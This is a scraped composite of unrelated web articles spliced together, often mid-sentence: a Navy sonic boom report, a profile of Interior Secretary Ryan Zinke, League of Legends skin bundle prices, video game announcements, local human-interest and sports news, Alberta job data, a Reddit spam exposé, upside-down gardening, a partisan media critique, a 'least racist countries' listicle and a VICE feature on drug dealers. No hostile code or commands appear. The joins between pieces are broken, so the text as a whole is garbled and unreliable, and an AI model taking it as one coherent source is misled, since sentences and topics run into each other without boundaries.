Officials at the Camp Pendleton Marine base were also mystified.
The base, south of the Orange County line, had no training scheduled or conducted today, Sgt. Christopher Duncan said.
"Right now we're calling around, seeing if any aviation assets maybe created some sound,'' Duncan said this afternoon.
An official at Edwards Air Force Base north of Lancaster was also unaware of any sonic events.
By late afternoon, however, it appeared the U.S. Navy was to blame for the commotion.
The Navy confirmed to the Los Angeles Times that it had conducted an exercise about 50 miles off the coast, with an aircraft flying faster than the speed of sound, causing a sonic boom.Politics Ryan Zinke, Trump's Cowboy Enforcer, Is Ready for His Closeup He raised eyebrows for his threats against Senator Lisa Murkowski after she voted to block the Republican health care bill; he raised ire for slashing Obama-era environmental protections. And all the while, Ryan Zinke—a former Navy SEAL Commander tapped by Trump as Secretary of the Interior—has been raising his own profile. Is there room for another star in Trump’s Washington?
It was almost parody, the way he rolled in, Ryan Zinke's six-foot-four frame hunched in the bucket seat of a black SUV. The tires sent up dust as they stopped, and out stepped the secretary of the interior, his gold "MONTANA" belt buckle glinting in the sun. He palmed his cowboy hat onto his head slowly, deliberately, and beheld the horse before him. "Hello, Tonto," Zinke said, his voice as deep as you might expect from a former SEAL commander who fancies himself a kind of latter-day Teddy Roosevelt. Tonto blinked.
Though Zinke may have looked the part of the Western cowboy, he is in fact a big player in Donald Trump's Washington. That much was made clear last week when—despite the many chores that keep him busy at the Interior Department—Zinke decided he wanted a piece of the healthcare debate, too. He rang up Alaska Senator Lisa Murkowski, urging her to fall in line on the White House-backed effort to repeal Obamacare, and threatening to compromise energy projects important to her state if she didn't. The move no doubt endeared him to Trump, but it sparked the ire of House Democrats, who now want the incident investigated. ("The call was professional and the media stories are totally sensationalized," Zinke's spokeswoman tells me.)
Moments like these can make Trump’s D.C. feel like a stressful place—a hive of murky gamesmanship and scrambled moral calculating. And a horse can help soothe some of that. I found Zinke and his mount, that Saturday morning not long ago, near the Lincoln Memorial reflecting pool, where the U.S. Park Police houses its horses. As interior secretary, Zinke administers almost all of America's public lands, including Washington's various monuments and the National Mall, where he'd invited me to join him for a ride. (He's also the boss of the Park Police officers, which means that when he refuses to wear a helmet, they have no choice but to indulge him.) So we set off down the Mall, the secretary wearing a blue checked shirt and white-stitched cowboy boots, like a wannabe Wayne for our hero-less times.
The 55-year-old likes to ride here every few weeks, to "get out in the field, like a commander should," as he puts it. It's also a fine way for a politician like him to glad-hand with sightseers—though none has any idea who Ryan Zinke is.
"You must be here from Texas!" one man shouts to the secretary.
True, the lineage of interior secretaries isn't exactly the stuff of Schoolhouse Rock songs, and even among members of the cabinet, he's a relatively unfamous face: Zinke had only been in Congress for a couple of years when Trump plucked him out of seeming obscurity to run Interior. But if Zinke's track record is any indication, he has every intention of leveraging his new post on Team Trump into something much bigger. And while hitching one's political future to this particular administration could be seen as something of a risky move, Zinke's daring has often been rewarded.
Back in 2015, while he was serving as Montana's sole congressman, he gamely offered to become the Speaker of the House, should Paul Ryan turn down the gig. At that point, Zinke had been in Washington all of about ten months. Roughly six months later, when he announced his endorsement of Donald Trump, he threw in that he'd be "honored to be part of the cabinet" but also, as a mere suggestion, that he'd be similarly "honored to be the vice president."
It's perhaps fitting that a guy with such little political experience and such big political dreams would find his way to Trump's radar. After the election, Zinke was hosting his office Christmas party in Washington when he got the call from Reince Priebus, the then-presumptive (now-former) chief of staff. Mr. Trump, Priebus told Zinke, wanted to see him in New York.
Rumors buzzed that he'd been shortlisted for the job atop the Interior Department, but when Zinke and his wife, Lola, passed through the gilded doors of Trump Tower, he actually had no clue what position he was interviewing for—Priebus had never said definitively. And by the end of a rambling conversation with the president-elect, Zinke still wasn't entirely sure.
"The conversation went a hundred seconds. It went from women in combat to Syria policy to the Chinese to energy independence, a little about public lands, a little about hunting access," Zinke tells me. "Most of the conversation was not really Interior, per se." At one point, Trump proposed the Veterans Affairs post, to which Zinke quipped, "I don't think you hate me that much."
He was flying back to Montana when Mike Pence called him. "The vice president says, 'Well, congratulations!'" Zinke recalls, sharing the moment he was asked to join the Trump Cabinet, "and I asked him, 'What job?'"
"Obviously the White House is getting its legs under it, but early on it was a bit of a pain. They were getting in other people's business a little bit too much."
It was so very Trump, the slapdash interview and offer. But it revealed just as much about Zinke, too, and his flexible ambitions. The story made the rounds within the department, worrying some career staffers that their incoming boss had no real attachment to the job. But even those left over from the Obama administration were reassured during Zinke's confirmation hearing. He was committed to conservation, he said; he was adamantly opposed to the GOP-backed idea of transferring federal lands to the states and was someone who, unlike Trump, did not believe that climate change was a "hoax." Later, in a much-praised speech to staffers, Zinke even pledged to protect the department from rumblings of budget cuts coming from the White House.
But four months in, many of those same staffers fear that Zinke has taken to spouting the Trump line, shifting the department's focus toward resource extraction—offshore drilling, for example—and away from the conservation principles they expected. And he's failed to stave off White House budget slashers who've proposed cutting funding by 12 percent. (The House would later approve a 7 percent cut.) "It's like he got one speech," says one recently departed Interior staffer, "and then he was reined in."
The members of Trump's cabinet face plenty of annoyances |
Mystery Chests - 790 RP
The premium gift for your friends, Mystery Chests only contain skins valued 975 RP or over.
Lunar Revel Mystery Box - 490 RP
Surprise your friends with a Mystery Box that has twice the chance of snagging a Lunar Revel skin.
Note: All the wards and icons in the Year of the Goat, Horse, and Snake bundles are 99% off thanks to Jinx’s wanton disregard for… stuff.
Year of the Goat Set - 2933 RP (5488 RP if champs needed) through February 16 then 3308 RP (5863 RP if champs needed) through February 23.
Skins included:
Firecracker Jinx
Warring Kingdoms Katarina
Warring Kingdoms Nidalee
Champs included:
Jinx
Nidalee
Katarina
Icons and Wards included:
Firecracker Icon
Firecracker Ward
Year of the Horse Bundle - 15% off at 2811 RP (4885 RP if champs needed)
Skins included:
Lunar Goddess Diana
Dragonblade Riven
Warring Kingdoms Tryndamere
Champions included:
Diana
Riven
Tryndamere
Icons and Wards included:
Banner of the Horse Ward
Year of the Snake Bundle - 25% off at 4225 RP (6771 RP if champs needed)
Skins included: Panda Annie
Jade Fang Cassiopeia
Dragonwing Corki
Warring Kingdoms Jarvan IV
Warring Kingdoms Xin Zhao Champions included: Annie
Cassiopeia
Corki
Jarvan IV
Xin Zhao
Icons and Wards included:
Banner of the Serpent Ward
Year of the Dragon Bundle - 25% off at 2925 RP (5497 RP if champs needed)
Skins included: Dragon Fist Lee Sin
Guqin Sona
Dragonblade Talon
Jade Dragon Wukong Champions included: Lee Sin
Sona
Talon
Wukong
Lunar Revel Bundle - 50% off at 7692 RP (12325 RP if champs needed)
Skins included: Lunar Goddess Diana
Dragonblade Riven
Warring Kingdoms Tryndamere
Dragon Fist Lee Sin
Guqin Sona
Dragonblade Talon
Jade Dragon Wukong
Panda Annie
Jade Fang Cassiopeia
Dragonwing Corki
Warring Kingdoms Jarvan IV
Warring Kingdoms Xin Zhao Champions included: Diana
Riven
Tryndamere
Lee Sin
Sona
Talon
Wukong
Annie
Cassiopeia
Corki
Jarvan IV
Xin Zhao
Icons and Wards included:Hyperdimension War Neptunia VS Sega Hard Girls introduces original protagonist
New details on the upcoming PS Vita spin-offs.
Dengeki PlayStation this week has an interview with Compile Heart’s Shingo Onodera and Sega’s Masahiro Nakayama, who discuss the upcoming Hyperdimension Neptunia PS Vita spin-offs.
Get the details below.
Hyperdimension War Neptunia VS Sega Hard Girls: Dream Fusion Special (Announcement) The game features an original protagonist named Hatsumi Sega. She’s illustrated by Tsunako, and her design is said to be that of a short girl with an S-shaped ponytail.
The game was born out of a separate meeting Ono was supposed to have with Idea Factory. He ended up asking if it was possible for a collaboration with Sega Hard Girls to happen.
Ono had been previously familiar with Neptunia series and wanted to do something since working on planning the original Sega Hard Girls series.
Development is being handled by Felistella and started last fall. The Neptunia Team is contributing art and other visual assets.
The game is an RPG that sees the Neptunia and Sega Hard Girls camps fighting one another.
The main focus character-wise is IF-chan and Hatsumi Sega.
Gameplay systems are vastly different from standard Neptunia games.
There’s attention to detail for the Sega Hard Girls; Saturn, for example, can’t use both of her hands at the same time because of the console’s CPU quirks. Extreme Dimension Tag Blanc + Neptune VS Zombie Army (Announcement) The game is being developed by Tamsoft.
It’s not a direct sequel. The story is a school sports-style one (think dramatic involving character tenacity like Ashita no Joe).
Four players can play together at the same time.
All of the characters from Hyperdimension Neptunia U are set to appear.
Everybody is in uniform… because school.
Release dates for both games are unannounced.
Thanks, [email protected].Yes! thats right a new oddworld game is to be released well… a remaster,but still great news for the platform gamers and Odd world fanatics. With its repeat of compelling game play and great childish hummer thrown in the mix.A big time recommendation for the gaming newbies. It was first confirmed back in 2008 by axis co-founder Jeff Braun that a new Oddworld will be in the works.
Now finally we get a glimpse on what Oddworld Inhabitants team have been working on. The game will not as much be a remaster of the original PlayStation release, but a remake built from the ground up with 2D gameplay and 3D graphics, using the original as ablueprint.
It has been confirmed that the game will be released on practically everything : PlayStation 3, PlayStation 4, PS Vita, Wii U, PC, Mac and Linux.
Gameplay Screen Snaps
Gameplay TrailerA second-grade student at Community Christian School in Bradenton knows the meaning of putting others first. For months, 8-year-old Jeffrey Holz has been saving up for the Lego set he’s always wanted.
Jeffrey Holz saved up $100 to buy his dream Lego set
Then he found out a classmate was diagnosed with cancer
Jeffrey decided to give Richard, a boy he had never met, the money instead
But with a $100 price tag, it wasn't easy.
"Birthday money, Christmas money," listed Jeffrey. "Earning money from cleaning, earning money working at the cafe at church."
By the middle of January, Jeffrey was just $12 short of his goal. Then he learned about a senior at his school who’s been fighting cancer, and decided he had a new plan for his hard-earned cash.
"He said that cancer was more important than a Lego set," said his mother, Meredith. "And that he felt like he really wanted to give all of his money. So he asked me if I would go the bank to get his money out, and said I had to get it for that next day."
Richard Gallop, 17, was diagnosed with cancer back in September. As an athlete with his sights set on college next year, staying positive has been challenging.
On Wednesday, Richard and Jeffrey met face-to-face for the first time.
"I was ecstatic, but confused at the same time," said Richard. "Because that's a big, big thing to do."
And with a high-five and a few smiles, the boys became fast friends.
Richard's family has set up a GoFundMe page for those wishing to help him through his battle. To find out more or make a donation, visit gofundme.com/2rvrz7w.
This Gofundme.com site is not managed by Bay News 9. For more information on how the site works and the rules visit http://www.gofundme.com/safety.BEREA, Ohio - Safety Donte Whitner and inside linebacker Karlos Dansby say they believe the Cleveland Browns can become winners right away, and that's why they couldn't wait to sign with the team as free agents.
The Browns introduced Whitner, Dansby and their third free-agent signee, defensive back Isaiah Trufant, Wednesday evening in a press conference.
Whitner, 28, will replace safety T.J. Ward, who signed with Denver. Whitner signed a four-year deal worth $28 million for an average of about $7 million a year.
In Whitner, the Browns are getting a hard-hitting two-time Pro Bowler, one who has made the all-star squad in each of the past two seasons.
Whitner said Wednesday that he expects the Browns to be one of the top defenses in the NFL.
"That's what we believe. That's why we came here," Whitner said. "I believe we can do it. Now we have to come together and put a lot of hard work in.
"Whenever you coming to a team that hasn't won, you have to change the culture in the locker room," Whitner said.
"It starts with being sound fundamentally... then it's about being physical each and every play, and that starts with the defensive line, and the linebackers hitting guys and getting them on the ground, and then the safeties and corners and making it so guys don't want to come across the middle."
Dansby, formerly of the Arizona Cardinals, also signed a four-year deal with the Browns. His deal is reportedly worth $24 million, including $10 million the first year and $14 million guaranteed.
"I think there's something special about this city," Dansby said. "That's the reason I'm here. I'm going to take this opportunity and maximize it.
"Once I got the call from Coach Pettine, I said, 'I'm on my way.'
Dansby, 32, replaces linebacker D'Qwell Jackson, 30, who signed last week with the Colts. Dansby is two years older than Jackson, but is coming off the best season of his career, by far. If he plays anywhere close to last year, he'll provide new coach Mike Pettine with a formidable playmaker up the middle.
"He's got a strong reputation around here," Dansby said of Jackson. "I'm just coming in trying to do my part... I'm coming on a mission, and that's to win. That's all I know how to do is win.
"... I think I might double my output here... I think it's one of the better schemes in the NFL. I'm on a mission to be the best player in the league. That's the mission I was on last season, and I came real close. In the toughest division in the NFL, if you can dominate, that says a lot about you... that you're a special player."
In 2013, Dansby led the Cardinals with 122 tackles, 6.5 sacks, four interceptions -- including two returned for touchdowns -- 19 passes defensed and 12 tackles for a loss. He broke up more passes than cornerbacks Jerraud Powers (18) and Patrick Peterson (13). He also had 50 more tackles than anyone else on the team.
A second-team All-Pro last year, Dansby set his sights on being named NFL Defensive Player of the Year in 2013. It didn't happen, but he had a monster year nonetheless.
On Wednesday, Dansby explained his mentality when he plays.
"Just have to try to raise the play of the guys around me. That's what I've been able to do all during my career... If I'm able to do that, I'll have a lot of success as well," Dansby said.
"Last year was my best in the NFL by far.... Here, I feel like it's going to be the same type of situation. We've got the hard hitting on the back end... We keep adding pieces and pieces, and we're going to do something special this season.
"I didn't have any choice. I had to come (to Cleveland)."
Dansby, an 11th-year pro, spent his first six years in Arizona after being a second-round pick in 2004 out of Auburn, and helped the Cardinals to the Super Bowl in 2008. In 2010, he left to sign a 5-year, $43 million contract with the Dolphins, including $22 million guaranteed. At the time, it was the highest contract ever for an inside linebacker. But the Dolphins cut him after the 2012 season -- and he signed a one-year deal with the Cardinals worth $2.25 million.
He parlayed that homecoming into a blockbuster deal with the Browns -- $14 million more guaranteed for a total of $36 million guaranteed since 2010 -- by playing out of his mind last season.
Trufant is a former New York Jets cornerback and special teams veteran who is reuniting with Pettine. He received a two-year, $1.54 million deal that includes $1 million guaranteed, according to USA Today.
Trufant has played 193 snaps in the past two seasons – and has contributed regularly on special teams since joining the Jets in 2010. Last season, he registered 20 tackles and 13 more in special teams. Pettine is familiar with Trufant's game serving as the Jets' defensive coordinator from 2009-2012.
"The scheme will benefit what I do with my speed and quickness," Trufant said Wednesday. "Pettine is a great coach and I'm excited."
- Northeast Ohio Media Group reporter Tom Reed contributed to this report.An improving labour market is having a positive effect on the number of job openings in Alberta.
According to Statistics Canada data released Thursday, job vacancies rose by 3,600 positions to 43,000 in the first quarter of 2017 compared to a year earlier — a 9.3 per cent increase.
This is the first year-over-year increase for Alberta in the number of job vacancies and the first jump in the job vacancy rate since the first quarter of 2015 when this data was first collected by Statistics Canada. Alberta was one of six provinces to see a gain in job vacancies spurred by stronger economic conditions, following declines in 2015 and 2016.
A rise in openings for full-time positions accounted for 59 per cent of the year-over-year increase in total job vacancies.
Calgary saw the largest year-over-year number of increased vacancies with 1,700, although there was little change in Edmonton, said Myriam Hazel, a senior analyst with Statistics Canada.
Randy Upright, chief executive officer of Manpower Alberta, said the data is in keeping with job market trends he sees in Alberta.
“We’re finding that this is a good time to help Albertans get back to work,” he said.
Upright acknowledges that Alberta continues to encounter skill shortages in specific areas. In Edmonton, for instance, he said there are more vacancies in construction and transportation and logistics. In Calgary, he said, there are new opportunities in oil and gas as well as finance and administration.
The Statistics Canada data showed a notable increase in vacancies in the first quarter in the category of trades, transport and equipment operators and related occupations in Alberta. In this sector, 3,300 jobs opened up in Alberta, accounting for more than 90 per cent of the net increase in vacancies. In contrast, vacancies in sales and service jobs decreased by 1,500 positions over the same period, Hazel said.
The decline in these lower-wage jobs is partially attributable to a year-over-year increase in Alberta’s first quarter average offered wage, to $21.40 from $19.95, Hazel said.Reddit spammers beware: It doesn’t matter how intricate your scheme is — you will likely be caught.
Last year a group of redditors exposed a complex spamming operation from the Village Voice, which was then forced to publicly ask for forgiveness.
And just yesterday, a single redditor, Joel A., discovered a similarly massive spamming operation run by tech support firm iYogi. The company is based in India but offers tech support by phone to American customers.
Joel A. discovered that the company was held at least 28 phony accounts on the site, which it used to submit posts that linked back to its own domain. The phony accounts upvoted one another’s posts, helping them rise artificially on Reddit. (Joel A. asked to not use his last name out of concerns for his privacy).
That’s a clear violation of Reddit’s rules. And for Joel A., who spends 10 hours a day scouring new content on the site, the pattern was unmistakable.
“I had seen two or three of iYogi’s handymen’s posts before,” Joel A. wrote in an email to the Daily Dot. “And I might have forgotten about them if it wasn’t for the amount of up-votes the (very ordinary) post’s were receiving.”
In just two hours he had assembled a dossier on all the accounts the company was using to spam the site and posted it to the WTF subreddit. He titled the post: “Large multinational Indian based IT support company has complex web of accounts and techniques they are using to spam reddit”
The post got popular, fast, gathering nearly 4,000 upvotes and briefly reaching Reddit’s front page.
“I have found similar things in the past but never on such scale,” Joel A., who works as an IT consultant on Australia’s Gold Coast said.
Redditors were not pleased.
“My torch and pitchfork are ready,” wrote one.
“I think this might require a drive-by egging. Good thing I’m in Delhi,” wrote another.
The Daily Dot reached out to iYogi for comment, but did not receive a response by time of publication.
The lesson?
Spammers should know at this point that any temporary payoff is not worth the long-term cost. Redditors take spam seriously.
Or, as one redditor succinctly observed, referencing Reddit’s voting system, which it calls karma:
“It’s kind of ironic that this Indian firm’s motto is ‘Great Tech Support. Good Karma’”“I put one tomato plant in the ground and one upside down, and the one in the ground died,” he said. The other tomato did so well, he planted a jalapeño upside down, too, and it was more prolific than the one he had in the ground. “The plants seem to stay healthier upside down if you water them enough, and it’s a great way to go if you have limited space,” he said.
While horticulturists, agronomists and plant scientists agree that pests and blight are less likely to damage crops suspended in the air, they said they are unsure whether growing them upside down rather than right-side up will yield better results.
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“Growing things upside down seems like a fad to me, but I’m glad people are fooling around with it and hope they will let us traditionalist gardening snobs know what we’ve been missing,” said Hans Christian Wien, a horticulture professor at Cornell University in Ithaca, N.Y.
Judging from gardening blogs and Web sites, those fooling around with upside-down gardening are generally enthusiastic, particularly if they have planted smaller varieties of tomatoes.
“Bigger tomatoes are too heavy and put too much stress on the vine, causing it to twist and break,” said Michael Nolan, an avid gardener in Atlanta and a writer for Urbangardencasual.com, who has four upside-down planters also made out of five-gallon buckets in which he grows bushels of cherry and patio varieties of tomatoes as well as small pickling cucumbers.
Tomato varieties are labeled as either indeterminate or determinate, and horticulture experts recommend choosing indeterminate ones for upside-down gardens. Determinate tomato plants are stubbier, with somewhat rigid stalks that issue all their fruit at once, which could weigh down and break the stems if hanging upside down. Indeterminate types, by contrast, have more flexible, sprawling stems that produce fruit throughout the season and are less likely to be harmed by gravity.
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When Mr. Nolan first tried upside-down gardening, he used the Topsy Turvy planters, which are made of polyethylene bags and look like Chinese lanterns gone wrong. But he was disappointed in the yield. “I far prefer using buckets,” he said, which hang from tall metal shepherd hooks bolted to the posts supporting his backyard deck. He paints his buckets bright colors, and plants herbs and marigolds in the top to help retain moisture.
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Another, less decorative solution for preventing evaporation is to top the planters with mulch or simply cover them with a lid. Regardless, Mr. Nolan said, “The upside-down planters tend to dry out really fast, so I have to water a lot — probably once a day in the heat of the summer.”
Many gardeners reported that the thinner, breathable plastic Topsy Turvy planters ($9.99) dried out so quickly that watering even once a day was not enough to prevent desiccated plants. There were similar comments about the Plow & Hearth version ($12.95) and while the Gardener’s Supply upside-down planter ($19.95) has a built-in watering system, online reviewers said it is difficult to assemble.
In addition to plastic soda bottles, milk jugs and five-gallon buckets, upside-down planters can be made out of thick heavy-duty plastic trash bags, plastic reusable shopping totes, kitty litter containers, laundry hampers and even used tires. Web sites like Instructables.com and UpsideDownTomatoPlant.com show how it can be done, and YouTube has several how-to videos. Variations include building a water reservoir either at the top or bottom of planters for irrigation, cutting several openings in the bottom and sides for planting several seedlings and lining the interior with landscape fabric or coconut fiber to help retain moisture.
Donald Rutledge, a construction project designer and manager in New Braunfels, Tex., devised a triple-pulley system so he could easily hoist his nine upside-down planters 16 feet above the ground, away from ravenous deer. He made his planters out of five-gallon buckets four years ago, following instructions on the Internet. “The tomatoes and basil worked real well upside down, but the lettuce, peas and carrots weren’t so successful,” he said. “It’s been trial and error.”
This year, he put his plantings right-side up in the buckets to see if it makes any difference. He said his suspended garden started as an entertaining summer project for him and his three children but has become more of a scientific pursuit: “Is upside down better than right-side up? I’m guess I’m going to find out.”PoliZette ‘Morning Joe’ Spends Three Hours Trashing Trump Over Mika Tweet MSNBC co-hosts, guests respond to president with insults on sanity and character, and even fight challenge
MSNBC’s Joe Scarborough and Mika Brzezinski dedicated Friday’s entire “Morning Joe” program to President Donald Trump’s Thursday tweet, in which he attacked the co-hosts’ bias towards him.
For three hours, the hosts and pundit after pundit dissected the tweet and, according to them, the sure lack of character or sanity shown by the president who issued it.
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“That’s the thing, though, and this is what he does. He takes something small and he contorts it. He tries to weaponize it,” said Scarborough.
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“This has been one of our great frustrations. He just ends up hurting himself,” Scarborough continued.
“If you don’t like our show, and if you care about what’s good for America, turn us off,” he said. “I wrote in the Washington Post piece with Mika that it’s better for America and the world if he just turns his 80-inch television set to ‘Fox & Friends’ and keeps it there and stay [sic] calm, stay in the bubble. We’ll all be fine.”
Brzezinski’s reaction to Trump’s tweet appeared more vindictive.
Brzezinski insisted that Trump simply can’t deal with what she implied was merely a bit of friendly mockery.
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“He appears to have a fragile impetuous childlike ego that we’ve seen over and over again, especially with women,” she said. “It’s like he can’t take it.”
“And I saw this happening yesterday in real time,” Brzezinski continued. “We were talking about the Time magazine cover. The White House claims we attack him. No, we report on his lies. We are upset when he doesn’t tell the truth and he bullies people. That is true. We sometimes mock him and have fun with things like we did with President Obama with his bowling, and we were having fun with the Time magazine cover because it was hilarious that anyone would have their country club put up fake Time magazine covers of your boss.”
But of course, Brzezinski has done far more than “mock and have fun with” the president. In just the month of June, Brzezinski has wondered aloud if the country can survive Trump’s first term, blamed Trump for anti-Republican violence, and compared Trump to some of the 20th and 21st century’s most murderous dictators.
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MSNBC political analyst and political journalist Eugene Robinson, who was also featured on Friday’s program, actually claimed that Trump’s tweet was a “breathtaking” incident. “In the lexicon of the day, what we have now is a fake president,” Robinson claimed.
“We have a man occupying the office of the president of the United States who is not fit to be president of the United States and who is not capable of discharging the duties of the president of the United States and running an administration,” said Robinson.
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“And, you know, I thought that Sarah Huckabee Sanders’ press briefing yesterday was — my jaw was just on the floor as I listened to her try to defend the literally indefensible,” Robinson continued.
Some conservatives, however, have been quick to point out the “breathtaking” hypocrisy of liberals and Democrats — staunch defenders of both Clintons and Obama — calling the President’s tweeting habits indefensible.
“Trump’s tweets are beneath the dignity of the White House, where presidents diddle interns with cigars and run guns to Mexico,” tweeted conservative author Ann Coulter. (go to page 2 to continue reading)[lz_pagination]We welcome you to our new list: the 6 least racist countries in Europe. Countries with great atmospheres, positive and open-minded people who don’t mind which color your skin is, what is your religion, and who you are. Free spirit, and welcoming states where you’ll feel like home, no matter if you’re simply visiting or you came to settle in the country.
Recently we wrote about the most racist countries in Europe, and showcased something interesting for you; there are some countries you didn’t expect to see on the list. In the positive spirit and welcoming attitude, we believe there is time for improvement. The human race, as a whole, must progress forward and improve, and there should be no place for racism in our society. Today we show you the 6 least racist countries in Europe, which have embraced the idea of community and diversity with their hospitality and free mind; these countries provide us with an example that we all should follow.
6. Finland
Picturesque country in the Finnish gulf is #6 on our list. The capital, Helsinki is inhabited by 1.4 million people, and its race diversity is pretty high. There are over 25 different nationalities calling Finland home at the moment, with Russians, Swedish people, and Estonians the most. Around 320,000 people of different nationality lives in Finland. There are around 10,000 people from Somalia living and working here, having normal lives without any discrimination problems. Same number of Iraqi people, and Asians can say the same.
5. Belgium
Kingdom of Belgium is the next least racist country in Europe, standing pretty close to the place #4. Brussels, the capital region, houses around 1.8 million people. As a center of the European Union, Brussels is a leading example of diversity, tolerance, and prosperity. Around 2.5 million people in Belgium is foreign, roughly 25% of the total population. People live friendly in Belgium with race diversity; most of the foreigners are from Morocco, Turkey, and DR Congo. Nationality law, established in 1984 gave the possibility to the migrants to acquire Belgian citizenship; since that year almost 1.3 million people acquired it. Around 500,000 Moroccans call Belgium their home.
4. Sweden
Scandinavian Peninsula is a desirable place for foreigners and people of different racial groups – Sweden is another country with least racism in Europe, earning #4 on our list. About 9,8 million people call Sweden their home. Sweden is a constitutional monarchy and a parliamentary democracy, with the Monarch as a head of the state. Stockholm, the capital, houses around 2 million people in its metropolitan area. Sweden is a home to 1,9 million foreigners or Sweden born with a foreign background. People from Former Yugoslavia, Iraq, Poland and Iran live in Sweden in the ethnically diverse community, without boundaries, restrictions or any racism-related problems.
3. Norway
Another Scandinavian country as proof that this part of the world is most developed when it comes to racial mixture opinions. There are no problems with people of different skin color, ethnic or religious differences here, and people live in harmony. Norway has around 5.2 million people, with capital Oslo housing around 500,000. Immigrants take around 14% of the population, consisting of Americans, Australians, Moroccans, Iraqi people, people from Somalia, Pakistanis and Iran people. Ethnic diversity is strong here, especially in dense populated communities. High standards and good wages allure people to migrate to Norway, as well as the high level of ethical behavior and racial empathy.
2. Denmark
The most southern country in Scandinavian Peninsula, the Kingdom of Denmark contains two autonomous constituent countries as well: Faroe Islands, and Greenland. 5,6 million inhabitants live in prosperity in the territory. Copenhagen is the capital, where near 1,200,000 people live and work. Over 13% of the total population in Denmark are immigrants or have a foreign background; consisting of people from Turkey, Iraq, Somalia, Bosnia and Herzegovina, South Asia, and Middle East. High level of racial diversity and mutual respect between different ethnic groups have put Denmark on the 2nd place on our list of least racist countries in Europe.
1. Netherlands
Our #1 on the list is famous for the most freedom and diversity in Europe. Netherlands is found in the place between Germany and Belgium, and it is known for beautiful green flat grounds, nearly above the sea level (where its name actually came from), endless tulip fields, and windmills. Amsterdam, the country’s capital and Dutch icon, showcases multiracial, multicultural community at its finest. Over 17 million people live in Netherlands, and 19% of them are foreigners. Amsterdam is a city of free mind and spirit. All the nationalities of the world can be found in Amsterdam, and community works flawlessly just because of the ethnic and racial bonds developed by the people of Netherlands, making this country the best place for foreigners; thus earning the best spot on our list of least racist countries in Europe.Illustration by Jay Howell
The are many reasons people deal drugs, but they are generally pretty simple. Some do it because they don't have any other way to survive. Some do it because it gives them power, or it gives them the trappings of status, wealth, and control that can result from the hustle. A few do it because it seems easier and more fun than a "normal" job. But whatever the reasons, dealing—as well as our legal system's treatment of drugs—has a way of complicating lives and relationships.
An example: I was once friendly with a dealer who was selling weed and occasionally other stuff to help pay his way through school. Regardless of his self-sufficiency, he knew that if his parents learned about his job they would most certainly freak the fuck out. When he visited home wearing expensive new clothes and other swag, they began to ask questions, and he told that that he'd gotten hired to be a doorman at a fancy, membership-only traditional gentleman's club—a well-paid gig that my then-roommate actually had.
To convince his parents the job was legit, he'd take photos in our friend's uniform and send them to his parents. He'd also borrow anecdotes from the real doorman and invent stories about how much he was tipped to explain why his pockets were so heavy.
I'm pretty sure he got away a lot of it, but the layers of lies and occasional slip-ups made him anxious and distanced him a bit from his family. He still deals today, and has to continue lying to people (his landlord, for example) to keep his career under wraps.
'Breaking Bad' is probably the best known pop-culture example of a drug merchant's life getting turned inside-out, but it happens to ordinary people the world over—though maybe not with the same level of melodrama. When you deal drugs in America you risk arrest, but you also have to deal with strained relationships with people you're intimate with, being alienated from mainstream society (not always the worst thing), and possibly suffering from mental health problems or addiction.
What follows is accounts from dealers interviewed by VICE explaining how dealing complicates their lives, and how they handle the side effects of hustling. Because they are discussing illegal activity, all are anonymous.
Dealer 1
Male
Sold "Everything Imaginable"
I grew up really poor but ended up going to a very wealthy high school because I was smart—Beverly Hills High School (a.k.a. 90210). Affording a $5 lunch was a big deal for me, while all the other kids at school were driving luxury cars and living in mansions. I wanted a piece of that, and didn't have the best home life. My childhood was pretty rough—my mom had me when she was 19, my parents were divorced, neither of them finished high school, and my dad had mental illness. Dealing was very much about survival. For me, it was a way out of my then-reality, and into coolness and money.
I started selling when I was in tenth grade by buying one gram [of weed] for $10 (I didn't eat lunch for two days so I could afford it). Then I sold it for $20. Then I had $20 and I bought two more grams, and it went from there. Flash-forward several years, and I was selling ten to 20 pounds of weed—plus various quantities of every other drug you can imagine—every week and was making thousands and thousands of dollars.
At first, I didn't have to hide anything from my family. My best friend lived three blocks away from our high school in a really nice house. We kept our stash, money, and whatever else we needed to hide in his basement because his dad was cool and didn't care that we were dealing. I'd get dropped off at his house in the morning, get high, go to school, then go back and get higher before we started selling drugs out of the mansion. It was like a rich-kid trap house.
Things became obvious when I'd show up at home wearing nice clothes. My mom was literally working five jobs and I was making more money than her. I didn't even have to lie about dealing because it was so clear that I was high on drugs all the time.
That being said, she didn't know the extent of our operation—one moment sticks out when I think about how dealing fucked up my already fucked-up relationship with my mom. When I couldn't keep my stuff at my friend's house, I had a stash box at home. It was one of those Gateway computer speakers that were made out of five parts, and each one of those parts was filled with like weed, cash, coke, MDMA, etc. In California, you get what's called a "grower pound," which is when you buy from a grower and you get seven to 12 extra grams. I'd shave the extra off the pound and keep it as my personal supply.
One time, I had hid the pound in my room under a T-shirt and kept my personal stash on top of the shirt out in the open. My mom called me while my friend and I were driving around slanging, and told me she found my drugs. I freaked out and immediately went home, thinking she found the whole pound or looked in my speakers or something. When I got there, she was holding my tiny personal supply up, thinking that little Ziploc was the extent of my stash.
I immediately packed my shit, grabbed the pound, grabbed what was in my speakers, and bailed. That was the last time I lived at home until I stopped dealing. My dad ended up passing away during the peak of my career, and my mom never found out the scale of my operation until pretty much the time I stopped selling. It's been over five years since then, and my relationship with my family is very good today. I talk to my mom almost every day.
Dealer 2
Female
Sold Prescription Pills
In high school, I used my parent's health insurance to see a psychiatrist so I could be prescribed pills like Adderall and sell those to my classmates. I totally abused the opportunity to see a shrink, and ended up with a substance abuse problem myself. My dad ended up finding out about the dealing and my addiction, and I was sent to rehab.
When I got out, I tried to see the psychiatrist again to get back to selling. By then, my dad had caught on to my lies about why I was seeing a psychiatrist and knew I wasn't using it for therapeutic reasons or self-improvement. Every time I called my doctor, he would immediately hang up the phone the moment he heard my voice. I tried calling a million times, but no reply.
I later found out my psychiatrist was avoiding me because my dad had called him and told him to hang up immediately if I ever tried to book an appointment, or else there'd be consequences. I'm pretty sure he threatened the guy. I ruined the opportunity to see an expensive therapist, which could have been good for me. But that's how it goes when you're doing everything on the low, hiding your life from the people around you.
It's easy to convince someone when they don't want to believe the worst of you. But it was right in front of her face. A lot of parents are in denial.
Dealer 3
Male
Sold LSD and Weed
I come from a middle-class family and grew up in the suburbs. I got into doing drugs around age 13 and quickly progressed to dealing. I saw it as a way to get high for free and later as a way to make a lot of money. I sold LSD and marijuana for three years as a full-time gig. At the peak of my career, I was making upwards of $20,000 a month.
